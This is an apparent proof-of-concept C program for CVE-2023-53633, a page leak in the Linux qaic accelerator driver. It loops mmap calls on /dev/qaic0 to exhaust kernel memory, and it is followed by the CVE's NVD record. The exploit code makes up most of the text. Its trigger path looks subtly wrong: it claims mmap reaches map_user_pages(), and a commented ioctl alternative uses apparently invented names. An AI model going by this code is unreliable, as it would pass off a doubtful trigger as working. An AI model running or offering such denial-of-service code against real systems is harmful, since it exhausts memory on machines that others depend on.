CVE-2023-53633

// CVE-2023-53633 PoC - Trigger memory leak in qaic map_user_pages() // This PoC demonstrates how to trigger the memory leak vulnerability // by repeatedly calling mmap on the QAIC device with specific parameters // that cause get_user_pages_fast() to partially fail. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <errno.h> #define QAIC_DEVICE "/dev/qaic0" #define MAP_SIZE (4 * 1024 * 1024) // 4MB mapping #define ITERATIONS 1000 // Repeat to accumulate leaked pages int main(int argc, char *argv[]) { int fd; void *mapped; int i; int ret; // Open the QAIC accelerator device fd = open(QAIC_DEVICE, O_RDWR); if (fd < 0) { perror("[-] Failed to open QAIC device"); // Try alternative device paths fd = open("/dev/qaic", O_RDWR); if (fd < 0) { perror("[-] QAIC device not available"); printf("[*] This PoC requires a system with QAIC hardware\n"); return 1; } } printf("[+] Opened QAIC device fd=%d\n", fd); // Repeatedly trigger map_user_pages() with conditions // that cause get_user_pages_fast() to partially fail for (i = 0; i < ITERATIONS; i++) { // Attempt mmap - this internally calls map_user_pages() mapped = mmap(NULL, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mapped == MAP_FAILED) { // Partial allocation may have occurred before failure, // leaking pages in the vulnerable kernel version if (i % 100 == 0) printf("[%d] mmap failed (expected on vulnerable kernel)\n", i); } else { // Unmap immediately to avoid normal usage munmap(mapped, MAP_SIZE); if (i % 100 == 0) printf("[%d] mmap succeeded\n", i); } } printf("[+] Done. On a vulnerable kernel, check /proc/meminfo\n"); printf("[+] Look for decreasing MemAvailable over iterations\n"); close(fd); return 0; } // Alternative trigger via DMA buffer mapping ioctl: // struct qaic_manage_msg qmsg; // qmsg.op = QAIC_MANAGE_OP_MAP; // ioctl(fd, QAIC_MANAGE, &qmsg); // // On vulnerable kernels (< fix commit 73274c33d961), // failed mappings will leak page references.

{"cve": {"id": "CVE-2023-53633", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:46.407", "lastModified": "2026-02-03T22:26:11.090", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/qaic: Fix a leak in map_user_pages()\n\nIf get_user_pages_fast() allocates some pages but not as many as we\nwanted, then the current code leaks those pages. Call put_page() on\nthe pages before returning."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.4", "versionEndExcluding": "6.4.7", "matchCriteriaId": "F0A196A6-6406-4DCB-A811-EA46E4E65BD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc1:*:*:*:*:*:*", "matchCriteriaId": "0B3E6E4D-E24E-4630-B00C-8C9901C597B0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.5:rc2:*:*:*:*:*:*", "matchCriteriaId": "E4A01A71-0F09-4DB2-A02F-7EFFBE27C98D"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/73274c33d961f4aa0f968f763e2c9f4210b4f4a3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cdcba752a3d48fbe6f05cf2c91ab9497c8daad0c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}